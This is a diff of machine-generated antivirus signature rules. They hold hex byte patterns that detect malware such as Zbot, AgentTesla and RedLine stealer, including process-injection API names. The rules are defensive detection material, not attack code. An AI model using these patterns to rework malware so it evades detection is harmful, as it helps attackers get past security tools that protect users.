6e 65 74 73 76 63 73 01 00 21 80 01 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 01 00 0a 80 01 53 65 72 76 69 63 65 44 6c 6c 01 00 0b 80 01 44 65 73 63 72 69 70 74 69 6f 6e 01 00 08 80 01 4c 69 6e 6b 4e 61 6d 65 0a 00 22 02 8b d8 8b ca 49 85 c9 7c 90 01 01 41 33 f6 8d } //28520 - $a_01_3 = {bf } //-28602 - $a_99_4 = {ff 30 13 43 } //400 + $a_00_1 = {01 00 24 02 83 7d f0 00 0f 84 90 01 04 8b 45 e8 c6 00 00 8b 45 e8 83 c0 01 89 45 e8 8b 45 f0 83 c0 ff 89 45 f0 e9 90 00 01 00 0e 00 47 65 74 50 72 6f 63 65 73 73 48 65 61 70 01 00 09 00 48 65 61 70 41 6c 6c 6f 63 01 00 0e 00 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 00 00 78 be 00 00 0e 00 0e 00 07 00 21 23 48 53 54 52 3a 5a 75 73 79 49 6e 6a 65 63 74 2e 48 42 21 4d 54 42 00 02 00 13 01 00 52 65 61 64 50 72 6f 63 65 73 73 4d 65 } //-31729 + $a_79_2 = {02 00 14 01 00 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 03 00 10 01 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 00 02 00 17 01 00 57 6f 77 36 34 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 00 02 00 16 01 00 4e 74 55 6e 6d 61 70 56 69 65 77 4f 66 53 65 63 74 69 6f 6e 00 02 00 0e 01 00 52 65 73 75 6d 65 54 68 72 65 61 64 } //28525 + $a_72_4 = {61 74 65 50 72 6f 63 65 73 73 00 00 00 78 be 00 00 0f 00 0e 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 32 34 21 4d 54 42 00 01 00 16 80 01 73 76 63 68 } //1 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-31729+(#a_74_2 & 1)*28520+(#a_01_3 & 1)*-28602+(#a_99_4 & 1)*400) >=14 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-31729+(#a_79_2 & 1)*28525+(#a_72_4 & 1)*1) >=14 } -rule _InfrastructureShared_13164{ +rule _InfrastructureShared_14028{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 07 00 21 " + + strings : + $a_54_0 = {3a 5a 75 73 79 49 6e 6a 65 63 74 2e 48 42 21 4d 54 42 00 02 00 13 01 00 52 65 61 64 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 02 00 14 01 00 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 03 00 10 01 00 56 69 72 74 75 61 6c 41 6c 6c 6f 63 } //18467 + $a_00_2 = {57 } //5888 W + $a_34_3 = {65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 00 02 00 16 01 00 4e 74 55 6e 6d 61 70 56 69 65 77 4f 66 53 65 63 74 69 6f 6e 00 02 00 0e 01 00 52 65 73 75 6d 65 54 } //30575 + $a_61_4 = {00 01 00 0f 01 00 43 72 65 61 74 65 50 72 6f 63 65 73 73 00 00 00 78 be 00 00 0f 00 0e 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 45 32 34 21 4d 54 42 00 01 00 16 80 01 73 76 63 68 6f 73 74 2e 65 78 65 20 2d 6b 20 6e 65 74 73 76 63 73 01 00 21 80 01 53 59 } //29288 + $a_4d_5 = {43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 53 65 72 76 69 63 65 73 01 00 0a 80 01 53 65 72 76 69 63 65 44 6c 6c 01 00 0b 80 01 44 65 73 63 72 69 70 74 69 6f 6e 01 00 08 80 01 4c 69 6e 6b 4e 61 6d } //21587 + condition: + ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*5888+(#a_34_3 & 1)*30575+(#a_61_4 & 1)*29288+(#a_4d_5 & 1)*21587) >=14 + +} +rule _InfrastructureShared_14029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0e 00 06 00 21 " @@ -148083,26 +157981,38 @@ rule _InfrastructureShared_13164{ $a_72_1 = {6c 53 65 74 5c 53 65 72 76 69 63 65 73 01 00 0a 80 01 53 65 72 76 69 63 65 44 6c 6c 01 00 0b 80 01 44 65 73 63 72 69 70 74 69 6f 6e 01 00 08 80 01 4c 69 6e 6b 4e 61 6d 65 0a 00 22 02 8b d8 8b ca 49 85 c9 7c 90 01 01 41 33 f6 8d 46 90 01 01 bf 90 01 04 99 f7 ff 30 13 43 46 49 75 90 00 00 00 78 be 00 00 12 00 12 00 05 00 21 23 48 53 54 52 3a 54 72 } //28271 $a_6e_2 = {4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 48 21 4d 54 42 00 0a 00 51 02 25 16 02 28 90 01 04 9d 6f 90 01 04 0a 00 2b 06 fe 90 01 05 06 13 06 16 13 07 2b 30 11 06 11 07 9a 13 08 00 00 11 08 28 90 01 04 d2 13 09 02 7b 90 01 04 11 09 6f 90 01 06 de 05 26 00 00 de 00 00 11 07 17 } //27247 $a_11_3 = {11 06 8e 69 32 c8 90 } //4952 - $a_79_5 = {63 68 72 6f 6e 69 7a 65 64 02 00 07 80 01 52 65 70 6c 61 63 65 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 05 80 01 52 65 67 65 78 00 00 78 be 00 00 33 00 33 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 64 76 61 6e 74 } //384 + $a_79_5 = {63 68 72 6f 6e 69 7a 65 64 02 00 07 80 01 52 65 70 6c 61 63 65 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 05 80 01 52 65 67 65 78 00 00 78 be 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 } //384 condition: ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28271+(#a_6e_2 & 1)*27247+(#a_11_3 & 1)*4952+(#a_79_5 & 1)*384) >=14 } -rule _InfrastructureShared_13165{ +rule _InfrastructureShared_14030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 41 48 21 4d 54 42 00 0a 00 51 02 25 16 02 28 90 01 04 9d 6f 90 01 04 0a 00 2b 06 fe 90 01 05 06 13 06 16 13 07 2b 30 11 06 11 07 9a 13 08 00 00 11 08 28 90 01 04 d2 13 09 } //18467 - $a_01_1 = {04 11 09 6f 90 01 06 de 05 26 00 00 de 00 00 11 07 17 58 13 07 11 07 11 06 8e 69 32 c8 90 00 02 00 0c 80 01 53 79 6e 63 68 72 6f 6e 69 7a 65 64 02 00 07 80 01 52 65 70 6c 61 63 65 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 05 80 01 52 65 67 65 78 00 00 78 be 00 00 33 00 33 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 64 76 61 6e 74 61 67 65 00 0a 00 15 01 64 6f 77 6e 6c 6f 61 64 73 2e 6d 65 6d 65 } //31490 - $a_2e_2 = {6f 6d 0a 00 18 01 77 65 62 2e 6d 65 6d 65 64 69 61 2e 63 6f 6d 2f 73 65 63 61 6c 65 72 74 0a 00 09 00 57 68 65 6e 55 2e 63 6f 6d 0a 00 0f 01 61 70 70 2e 6d 65 6d 65 64 69 61 2e 63 6f 6d 0a 00 09 01 41 64 56 61 6e 74 61 67 65 01 00 18 01 4d 65 4d 65 64 69 61 53 65 74 75 70 5f 53 68 61 72 65 } //26980 - $a_74_3 = {78 01 00 1b 01 57 68 65 6e 55 5f 57 68 65 6e 55 53 61 76 65 5f 53 68 61 72 65 64 4d 75 74 65 78 00 00 78 bf 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 69 67 61 6e 74 69 63 75 73 2e 41 21 64 68 61 00 01 00 90 03 1f 67 0a 12 00 28 90 01 03 0a a2 25 1f 09 1f 72 0a 12 00 28 90 01 03 0a a2 25 1f 0a 1f 61 0a 12 00 28 } //19812 - $a_0a_4 = {a2 25 1f } //400 + $a_01_1 = {04 11 09 6f 90 01 06 de 05 26 00 00 de 00 00 11 07 17 58 13 07 11 07 11 06 8e 69 32 c8 90 00 02 00 0c 80 01 53 79 6e 63 68 72 6f 6e 69 7a 65 64 02 00 07 80 01 52 65 70 6c 61 63 65 02 00 0e 80 01 44 6f 77 6e 6c 6f 61 64 53 74 72 69 6e 67 02 00 05 80 01 52 65 67 65 78 00 00 78 be 00 00 1e 00 1e 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 64 79 2e 4c 4d 43 21 4d 54 42 00 0f 00 4f 03 b8 01 00 00 00 6b c8 } //31490 + $a_94_2 = {b4 fb ff ff 83 fa 2a 0f 85 90 01 04 b8 01 00 00 00 c1 e0 00 0f be 8c 05 b4 fb ff ff 83 f9 2e 0f 85 90 01 04 b8 01 00 00 00 d1 e0 8d 8c 05 b4 fb ff ff 89 8d 6c fa ff ff 6a 2e 8d 85 ac fa ff ff 50 90 00 0a 00 30 01 55 8b ec 81 ec fc 00 00 00 53 56 57 51 8d bd 04 ff ff ff b9 3f 00 00 00 b8 cc cc cc cc f3 ab 59 89 4d f8 8b 45 14 8b 10 8b f4 8b 4d 14 8b 42 3c 05 00 0b 01 50 63 43 6f 72 74 72 2e 70 64 62 00 00 78 be 00 00 33 00 33 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 64 76 61 6e 74 61 67 65 00 0a 00 15 01 64 6f 77 6e 6c 6f 61 64 73 2e 6d 65 6d 65 64 } //3840 + $a_63_3 = {6d 0a 00 18 01 77 65 62 2e 6d 65 6d 65 64 69 61 2e 63 6f 6d 2f 73 65 63 61 6c 65 72 74 0a 00 09 00 57 68 65 6e 55 2e 63 6f 6d 0a 00 0f 01 } //24937 + $a_2e_4 = {65 6d 65 64 69 61 2e 63 6f 6d 0a 00 09 01 41 64 56 61 6e 74 61 67 65 01 00 18 01 4d 65 4d 65 64 69 61 53 65 74 75 70 5f 53 68 61 72 65 64 4d 75 74 65 78 01 00 1b 01 57 68 65 6e 55 5f 57 68 65 6e 55 53 61 76 65 5f 53 68 61 72 65 64 4d 75 74 65 78 00 00 78 bf 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //28769 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*31490+(#a_2e_2 & 1)*26980+(#a_74_3 & 1)*19812+(#a_0a_4 & 1)*400) >=18 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*31490+(#a_94_2 & 1)*3840+(#a_63_3 & 1)*24937+(#a_2e_4 & 1)*28769) >=18 } -rule _InfrastructureShared_13166{ +rule _InfrastructureShared_14031{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 64 79 2e 4c 4d 43 21 4d 54 42 00 0f 00 4f 03 b8 01 00 00 00 6b c8 00 0f be 94 0d b4 fb ff ff 83 fa 2a 0f 85 90 01 04 b8 01 00 00 00 c1 e0 00 0f be 8c 05 b4 fb ff } //21539 + $a_2e_1 = {85 90 01 04 b8 01 00 00 00 d1 e0 8d 8c 05 b4 fb ff ff 89 8d 6c fa ff ff 6a 2e 8d 85 ac fa ff ff 50 90 00 0a 00 30 01 55 8b ec 81 ec fc 00 00 00 53 56 57 51 8d bd 04 ff ff ff b9 3f 00 00 00 b8 cc cc cc cc f3 ab 59 89 4d f8 8b 45 14 8b 10 8b f4 8b 4d 14 8b 42 3c 05 00 0b 01 50 63 43 6f 72 74 72 2e 70 64 62 00 00 78 be 00 00 33 00 33 00 07 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 41 64 76 61 6e 74 61 67 65 00 0a 00 15 01 64 6f 77 6e 6c 6f 61 64 73 2e 6d 65 6d 65 64 69 61 2e 63 6f 6d 0a 00 18 01 77 65 62 2e 6d 65 6d 65 64 69 61 2e 63 6f 6d 2f 73 65 63 61 6c 65 72 74 0a 00 09 00 57 68 65 6e 55 2e 63 6f 6d 0a 00 0f 01 61 70 70 2e 6d 65 6d 65 64 69 61 2e 63 6f 6d 0a 00 09 01 41 64 56 61 6e 74 61 67 65 01 00 18 01 4d 65 4d 65 64 69 61 53 } //-31745 + $a_70_2 = {53 68 61 72 65 64 4d 75 74 65 78 01 00 1b 01 57 68 65 6e 55 5f 57 68 65 6e 55 53 61 76 65 5f 53 68 61 72 65 64 4d 75 74 65 78 00 00 78 bf 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 47 69 67 61 6e 74 69 63 75 73 2e 41 21 64 68 61 00 01 00 90 03 1f 67 0a 12 00 28 90 01 03 0a a2 25 1f 09 1f 72 0a 12 00 28 90 01 03 0a } //29797 + condition: + ((#a_4c_0 & 1)*21539+(#a_2e_1 & 1)*-31745+(#a_70_2 & 1)*29797) >=30 + +} +rule _InfrastructureShared_14032{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,33 00 33 00 07 00 21 " @@ -148117,7 +158027,7 @@ rule _InfrastructureShared_13166{ ((#a_77_0 & 1)*16675+(#a_6d_1 & 1)*25390+(#a_64_2 & 1)*16686+(#a_0a_3 & 1)*7946+(#a_a2_5 & 1)*769+(#a_00_6 & 1)*0) >=51 } -rule _InfrastructureShared_13167{ +rule _InfrastructureShared_14033{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -148127,7 +158037,7 @@ rule _InfrastructureShared_13167{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13168{ +rule _InfrastructureShared_14034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -148137,7 +158047,7 @@ rule _InfrastructureShared_13168{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13169{ +rule _InfrastructureShared_14035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -148147,7 +158057,7 @@ rule _InfrastructureShared_13169{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13170{ +rule _InfrastructureShared_14036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -148157,7 +158067,7 @@ rule _InfrastructureShared_13170{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_13171{ +rule _InfrastructureShared_14037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -148167,7 +158077,7 @@ rule _InfrastructureShared_13171{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_13172{ +rule _InfrastructureShared_14038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -148178,7 +158088,7 @@ rule _InfrastructureShared_13172{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*9284) >=1 } -rule _InfrastructureShared_13173{ +rule _InfrastructureShared_14039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -148190,7 +158100,7 @@ rule _InfrastructureShared_13173{ ((#a_46_0 & 1)*16675+(#a_8b_1 & 1)*24415+(#a_d5_2 & 1)*-25155) >=1 } -rule _InfrastructureShared_13174{ +rule _InfrastructureShared_14040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -148201,7 +158111,7 @@ rule _InfrastructureShared_13174{ ((#a_46_0 & 1)*16675+(#a_10_1 & 1)*-28666) >=2 } -rule _InfrastructureShared_13175{ +rule _InfrastructureShared_14041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -148212,7 +158122,7 @@ rule _InfrastructureShared_13175{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*65) >=2 } -rule _InfrastructureShared_13176{ +rule _InfrastructureShared_14042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -148222,7 +158132,7 @@ rule _InfrastructureShared_13176{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_13177{ +rule _InfrastructureShared_14043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -148232,7 +158142,7 @@ rule _InfrastructureShared_13177{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13178{ +rule _InfrastructureShared_14044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -148243,7 +158153,7 @@ rule _InfrastructureShared_13178{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*2321) >=2 } -rule _InfrastructureShared_13179{ +rule _InfrastructureShared_14045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -148253,7 +158163,7 @@ rule _InfrastructureShared_13179{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13180{ +rule _InfrastructureShared_14046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -148264,7 +158174,7 @@ rule _InfrastructureShared_13180{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*4359) >=2 } -rule _InfrastructureShared_13181{ +rule _InfrastructureShared_14047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -148275,7 +158185,7 @@ rule _InfrastructureShared_13181{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*17547) >=2 } -rule _InfrastructureShared_13182{ +rule _InfrastructureShared_14048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -148286,7 +158196,7 @@ rule _InfrastructureShared_13182{ ((#a_46_0 & 1)*21283+(#a_4c_1 & 1)*18432) >=2 } -rule _InfrastructureShared_13183{ +rule _InfrastructureShared_14049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -148297,7 +158207,7 @@ rule _InfrastructureShared_13183{ ((#a_46_0 & 1)*21283+(#a_eb_1 & 1)*12544) >=2 } -rule _InfrastructureShared_13184{ +rule _InfrastructureShared_14050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -148309,7 +158219,7 @@ rule _InfrastructureShared_13184{ ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*0+(#a_81_2 & 1)*1) >=3 } -rule _InfrastructureShared_13185{ +rule _InfrastructureShared_14051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -148320,7 +158230,7 @@ rule _InfrastructureShared_13185{ ((#a_77_0 & 1)*16675+(#a_64_1 & 1)*28795) >=3 } -rule _InfrastructureShared_13186{ +rule _InfrastructureShared_14052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -148331,7 +158241,7 @@ rule _InfrastructureShared_13186{ ((#a_6c_0 & 1)*16675+(#a_41_1 & 1)*16896) >=3 } -rule _InfrastructureShared_13187{ +rule _InfrastructureShared_14053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -148343,7 +158253,7 @@ rule _InfrastructureShared_13187{ ((#a_54_0 & 1)*18467+(#a_8d_1 & 1)*-14205+(#a_00_2 & 1)*83) >=3 } -rule _InfrastructureShared_13188{ +rule _InfrastructureShared_14054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -148354,7 +158264,7 @@ rule _InfrastructureShared_13188{ ((#a_41_0 & 1)*20515+(#a_00_2 & 1)*109) >=3 } -rule _InfrastructureShared_13189{ +rule _InfrastructureShared_14055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -148366,7 +158276,7 @@ rule _InfrastructureShared_13189{ ((#a_4c_0 & 1)*21539+(#a_10_1 & 1)*-29948+(#a_48_2 & 1)*-30362) >=3 } -rule _InfrastructureShared_13190{ +rule _InfrastructureShared_14056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -148378,7 +158288,7 @@ rule _InfrastructureShared_13190{ ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*28271+(#a_75_2 & 1)*14947) >=3 } -rule _InfrastructureShared_13191{ +rule _InfrastructureShared_14057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -148392,7 +158302,7 @@ rule _InfrastructureShared_13191{ ((#a_54_0 & 1)*18467+(#a_ba_1 & 1)*5376+(#a_48_2 & 1)*-30392+(#a_64_3 & 1)*17459+(#a_20_4 & 1)*25959) >=3 } -rule _InfrastructureShared_13192{ +rule _InfrastructureShared_14058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -148400,30 +158310,40 @@ rule _InfrastructureShared_13192{ $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 5f 66 79 69 61 00 01 00 1a 01 64 33 64 61 64 61 70 74 65 72 2e 64 6c 6c 00 45 6e 74 72 79 50 6f 69 6e 74 00 01 00 16 01 4b 42 44 4d 41 49 2e 64 6c 6c 00 45 6e 74 72 79 50 6f 69 6e 74 00 01 00 1f 01 47 6c 6f 62 61 6c 5c 44 33 44 41 64 61 70 74 65 72 5f 53 65 72 76 69 63 65 } //25635 $a_6e_1 = {00 01 00 1a 01 47 6c 6f 62 61 6c 5c 4b 42 44 4d 41 49 53 65 72 76 69 63 65 45 76 65 6e 74 00 01 00 1a 01 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 3a 20 72 75 2d 72 75 2c 72 75 3b 00 00 78 bf 00 00 03 00 03 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 45 64 67 79 57 61 73 70 2e 47 } //30277 $a_61_2 = {01 00 0e 01 57 69 6e 32 30 30 38 52 32 5f 4d 61 72 6b 01 00 0a 01 57 69 6e 31 30 5f 4d 61 72 6b 01 00 09 01 57 69 6e 37 5f 4d 61 72 6b 01 00 12 01 44 61 74 61 4f 66 66 73 65 74 46 72 6f 6d 4d 61 72 6b 01 00 10 01 57 69 74 68 43 6c 69 65 6e 74 53 65 63 72 65 74 01 00 10 01 57 69 6e 31 30 5f 44 61 74 61 4f 66 66 } //25633 - $a_01_3 = {00 14 01 57 69 6e 32 30 30 38 52 32 5f 44 61 74 61 4f 66 66 73 65 74 01 00 0f 01 57 69 6e 37 5f 44 61 74 61 4f 66 66 73 65 74 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 73 6d 75 70 70 65 72 2e 41 42 21 64 68 61 00 01 00 25 01 5b 2a 5d 20 43 72 65 61 74 65 20 63 68 61 6e 6e 65 6c 2c 20 65 } //25971 - $a_72_4 = {63 6f 64 65 3a 30 78 25 30 38 78 01 00 1b 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 01 00 27 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 50 72 6f 63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 66 66 65 72 01 00 1b 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 } //29298 + $a_01_3 = {00 14 01 57 69 6e 32 30 30 38 52 32 5f 44 61 74 61 4f 66 66 73 65 74 01 00 0f 01 57 69 6e 37 5f 44 61 74 61 4f 66 66 73 65 74 00 00 78 bf 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 64 4c 69 6e 65 53 74 65 61 6c 65 72 2e 42 56 49 21 4d 54 42 00 02 00 29 03 11 04 75 9d 00 00 01 11 07 11 0b 20 4a 02 00 00 20 } //25971 condition: - ((#a_5f_0 & 1)*25635+(#a_6e_1 & 1)*30277+(#a_61_2 & 1)*25633+(#a_01_3 & 1)*25971+(#a_72_4 & 1)*29298) >=3 + ((#a_5f_0 & 1)*25635+(#a_6e_1 & 1)*30277+(#a_61_2 & 1)*25633+(#a_01_3 & 1)*25971) >=3 } -rule _InfrastructureShared_13193{ +rule _InfrastructureShared_14059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 08 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 45 64 67 79 57 61 73 70 2e 47 21 64 68 61 00 01 00 0e 01 57 69 6e 32 30 30 38 52 32 5f 4d 61 72 6b 01 00 0a 01 57 69 6e 31 30 5f 4d 61 72 6b 01 00 09 01 57 69 6e 37 5f 4d 61 72 6b 01 00 12 01 } //16675 - $a_61_1 = {66 66 73 65 74 46 72 6f 6d 4d 61 72 6b 01 00 10 01 57 69 74 68 43 6c 69 65 6e 74 53 65 63 72 65 74 01 00 10 01 57 69 6e 31 30 5f 44 61 74 61 4f 66 66 73 65 74 01 00 14 01 57 69 6e 32 30 30 38 52 32 5f 44 61 74 61 4f 66 66 73 65 74 01 00 0f 01 57 69 6e 37 5f 44 61 74 61 4f 66 66 73 65 74 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 45 78 } //24900 - $a_69_2 = {3a 57 69 6e 33 32 2f 4d 69 73 6d 75 70 70 65 72 2e 41 42 21 64 68 61 00 01 00 25 01 5b 2a 5d 20 43 72 65 61 74 65 20 63 68 61 6e 6e 65 6c 2c 20 65 72 72 6f 72 20 63 6f 64 65 3a 30 78 25 30 38 78 01 00 1b 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 01 00 27 00 4e 74 44 43 6f 6d 70 6f 73 69 74 } //27760 - $a_50_3 = {6f 63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 66 66 65 72 01 00 1b 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4d 69 73 6d 75 70 70 65 72 2e 42 42 21 64 68 61 00 01 00 25 01 5b 2a 5d } //28521 - $a_65_4 = {74 65 20 63 68 61 6e 6e 65 6c 20 65 72 72 6f 72 20 63 6f 64 65 3a 20 30 78 25 30 38 78 01 00 1b 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 43 72 65 61 74 65 43 68 61 6e 6e 65 6c 01 00 27 00 4e 74 44 43 6f 6d 70 6f 73 69 74 69 6f 6e 50 72 6f 63 65 73 73 43 68 61 6e 6e 65 6c 42 61 74 63 68 42 75 66 66 65 72 01 00 1b 00 4e 74 44 43 6f 6d 70 } //17184 - $a_74_5 = {6f 6e 43 6f 6d 6d 69 74 43 68 61 6e 6e 65 6c 00 00 78 bf 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 59 32 56 3a 4b 75 64 65 6c 73 6b 69 5f 53 65 63 75 72 69 74 79 5f 4e 61 67 72 61 76 69 73 69 6f 6e 5f 53 2f 53 70 68 69 6e 78 5f 4d 6f 74 68 5f 6e 76 63 70 6c 65 78 00 01 00 36 03 6d 00 73 00 68 00 74 00 61 00 65 00 } //29551 - $a_00_6 = {65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 10 01 41 8b cc 44 } //120 - $a_28_7 = {89 7c 24 20 ff 15 d3 01 00 10 01 48 3b 0d ad 8f 00 00 74 05 e8 ba f5 ff ff 48 8b 01 00 13 03 8b ce e8 49 47 } //27785 + $a_61_1 = {66 66 73 65 74 46 72 6f 6d 4d 61 72 6b 01 00 10 01 57 69 74 68 43 6c 69 65 6e 74 53 65 63 72 